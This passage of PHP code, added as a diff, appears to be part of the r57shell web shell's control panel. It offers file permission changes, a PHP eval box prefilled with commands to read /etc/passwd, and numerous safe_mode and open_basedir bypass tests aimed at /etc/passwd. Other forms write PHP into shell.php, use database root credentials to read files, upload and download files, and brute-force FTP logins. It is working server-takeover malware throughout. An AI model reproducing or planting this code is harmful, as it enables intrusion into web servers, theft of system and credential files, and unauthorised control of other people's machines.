value="17">17</option> +<option value="18">18</option> +<option value="19">19</option> +<option value="20">20</option> +<option value="21">21</option> +<option value="22">22</option> +<option value="23">23</option> +<option value="24">24</option> +</select>' +.ws(4)."<b>Minute".$arrow."</b>" +.' +<select name="minutes" size="1"> +<option value="01">1</option> +<option value="02">2</option> +<option value="03">3</option> +<option value="04">4</option> +<option value="05">5</option> +<option value="06">6</option> +<option value="07">7</option> +<option value="08">8</option> +<option value="09">9</option> +<option value="10">10</option> +<option value="11">11</option> +<option value="12">12</option> +<option value="13">13</option> +<option value="14">14</option> +<option value="15">15</option> +<option value="16">16</option> +<option value="17">17</option> +<option value="18">18</option> +<option value="19">19</option> +<option value="20">20</option> +<option value="21">21</option> +<option value="22">22</option> +<option value="23">23</option> +<option value="24">24</option> +<option value="25">25</option> +<option value="26">26</option> +<option value="27">27</option> +<option value="28">28</option> +<option value="29">29</option> +<option value="30">30</option> +<option value="31">31</option> +<option value="32">32</option> +<option value="33">33</option> +<option value="34">34</option> +<option value="35">35</option> +<option value="36">36</option> +<option value="37">37</option> +<option value="38">38</option> +<option value="39">39</option> +<option value="40">40</option> +<option value="41">41</option> +<option value="42">42</option> +<option value="43">43</option> +<option value="44">44</option> +<option value="45">45</option> +<option value="46">46</option> +<option value="47">47</option> +<option value="48">48</option> +<option value="49">49</option> +<option value="50">50</option> +<option value="51">51</option> +<option value="52">52</option> +<option value="53">53</option> +<option value="54">54</option> +<option value="55">55</option> +<option value="56">56</option> +<option value="57">57</option> +<option value="58">58</option> +<option value="59">59</option> +</select>' +.ws(4)."<b>Second".$arrow."</b>" +.' +<select name="second" size="1"> +<option value="01">1</option> +<option value="02">2</option> +<option value="03">3</option> +<option value="04">4</option> +<option value="05">5</option> +<option value="06">6</option> +<option value="07">7</option> +<option value="08">8</option> +<option value="09">9</option> +<option value="10">10</option> +<option value="11">11</option> +<option value="12">12</option> +<option value="13">13</option> +<option value="14">14</option> +<option value="15">15</option> +<option value="16">16</option> +<option value="17">17</option> +<option value="18">18</option> +<option value="19">19</option> +<option value="20">20</option> +<option value="21">21</option> +<option value="22">22</option> +<option value="23">23</option> +<option value="24">24</option> +<option value="25">25</option> +<option value="26">26</option> +<option value="27">27</option> +<option value="28">28</option> +<option value="29">29</option> +<option value="30">30</option> +<option value="31">31</option> +<option value="32">32</option> +<option value="33">33</option> +<option value="34">34</option> +<option value="35">35</option> +<option value="36">36</option> +<option value="37">37</option> +<option value="38">38</option> +<option value="39">39</option> +<option value="40">40</option> +<option value="41">41</option> +<option value="42">42</option> +<option value="43">43</option> +<option value="44">44</option> +<option value="45">45</option> +<option value="46">46</option> +<option value="47">47</option> +<option value="48">48</option> +<option value="49">49</option> +<option value="50">50</option> +<option value="51">51</option> +<option value="52">52</option> +<option value="53">53</option> +<option value="54">54</option> +<option value="55">55</option> +<option value="56">56</option> +<option value="57">57</option> +<option value="58">58</option> +<option value="59">59</option> +</select>' +.in('hidden','cmd',0,'touch') +.in('hidden','dir',0,$dir) +.ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} + +$select=''; +if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";} +if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";} +if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";} +if($unix && $select){ +echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts; +echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($_SERVER["SCRIPT_FILENAME"]))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(!$safe_mode){ +$aliases2 = ''; +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id7').$table_up2.div('id7').$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} + +echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id8').$table_up2.div('id8').$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; + +if(!$safe_mode && $unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +} + +echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id10').$table_up2.$font; +echo "<div align=center>".div('id10')."<textarea name=php_eval cols=100 rows=10>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</div></div></font>"; +echo $table_end1.$fe; + +if($safe_mode || $open_basedir) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && $curl_on && @version_compare(@phpversion(),"5.2.0")<=0) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && $mysql_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id13').$table_up2.div('id13').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && $mysqli_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text144'],'id40').$table_up2.div('id40').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test19_md',15,(!empty($_POST['test19_md'])?($_POST['test19_md']):("mysqli"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test19_ml',15,(!empty($_POST['test19_ml'])?($_POST['test19_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text39'].$arrow."</b>".in('text','test19_mp',15,(!empty($_POST['test19_mp'])?($_POST['test19_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test19_port',15,(!empty($_POST['test19_port'])?($_POST['test19_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test19_file',96,(!empty($_POST['test19_file'])?($_POST['test19_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test19').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && $mssql_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + + +if(($safe_mode || $open_basedir) && $unix && @function_exists('mb_send_mail') && @version_compare(@phpversion(),"5.2.0")<=0){ +echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @function_exists('imap_open') && @function_exists('imap_list') && @version_compare(@phpversion(),"5.2.0")<=0){ +echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id20').$table_up2.div('id20').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @function_exists('imap_open') && @function_exists('imap_body') && @version_compare(@phpversion(),"5.2.0")<=0){ +echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @function_exists('copy') && @version_compare(@phpversion(),"5.2.0")<=0) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts; +echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8')); +echo sr(15,"<b>".$lang[$language.'_text117'].ws(2).$lang[$language.'_text60'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @function_exists('ini_restore') && @version_compare(@phpversion(),"5.2.0")<=0){ +echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.0.0")<0){ +echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @function_exists('glob') && @version_compare(@phpversion(),"5.2.2")<=0){ +echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test_global'])?($_POST['test_global']):($dir))).in('hidden','cmd',0,'safe_dir').in('hidden','glob',0,'glob').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @function_exists('realpath') && @version_compare(@phpversion(),"5.2.4")<=0){ +$select_n_rlph = "<select name='n_rlph'><option value=1>[ 1 ] (<<0,01 sec)</option><option value=2>[ 2 ] (<0,01 sec)</option>". +"<option value=3 selected>[ 3 ] (<1 sec (default))</option>". +"<option value=4>[ 4 ] (<10 sec)</option><option value=5>[ 5 ] (>100 sec (danger))</option><option value=6>[ 6 ] (>>100 sec (danger))</option></select>"; +echo $fs.$table_up1.div_title($lang[$language.'_text145'],'id41').$table_up2.div('id41').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',30,(!empty($_POST['dir_rlph'])?($_POST['dir_rlph']):($dir))).ws(2).'<b>'.$lang[$language.'_text55'].'</b>'.ws(2).in('text','end_rlph',6,(!empty($_POST['end_rlph'])?($_POST['end_rlph']):('.php'))).ws(2).in('hidden','cmd',0,'safe_dir').ws(2).'<b>'.$lang[$language.'_text146'].'</b>'.ws(2).$select_n_rlph.ws(2).in('hidden','realpath',0,'realpath').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts; +echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):($tempdir.'test.zip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts; +echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):($tempdir.'test.bzip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @function_exists('error_log') && @version_compare(@phpversion(),"5.2.2")<=0) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up2.div('id27').$ts; +echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13')); +echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14')); +echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.4")<=0) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text133'],'id39').$table_up2.div('id39').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test18_file2',96,(!empty($_POST['test18_file2'])?($_POST['test18_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test18')); +echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test18_file1',96,(!empty($_POST['test18_file1'])?($_POST['test18_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @function_exists('readfile') && @version_compare(@phpversion(),"5.2.2")<=0) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts; +echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15')); +echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.4")<=0) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts; +echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @function_exists('symlink') && @version_compare(@phpversion(),"5.2.2")<=0) +{ +echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts; +echo "<tr><td valign=top width=70%>".$ts; +echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe); +echo $te."</td><td valign=top width=30%>".$ts; +echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe); +echo $te."</td></tr>"; +echo $te.'</div>'.$table_end1; +} + +if(($safe_mode || $open_basedir) && @function_exists('symlink') && @version_compare(@phpversion(),"5.2.2")<=0) +{ +echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts; +echo "<tr><td valign=top width=70%>".$ts; +echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe); +echo $te."</td><td valign=top width=30%>".$ts; +echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe); +echo $te."</td></tr>"; +echo $te.'</div>'.$table_end1; +} + + +if((!@function_exists('ini_get')) || @ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} + + +if((!@function_exists('ini_get')) || @ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts; +echo "<tr><td valign=top width=50%>".$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,'')); +echo $te."</td><td valign=top width=50%>".$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,'')); +echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."</td></tr>"; +echo $te.'</div>'.$table_end1.$fe; +} + + +if($select_downloaders){ + echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts; + echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",$select_downloaders.in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); + echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir.'/download.file').ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); + echo $te.'</div>'.$table_end1.$fe; +} + +echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts; +echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo $te.'</div>'.$table_end1.$fe; + +if(@function_exists("ftp_connect")){ +echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; + +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir)); +echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']); +echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root")))); +echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic')))); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir)); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir)); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option 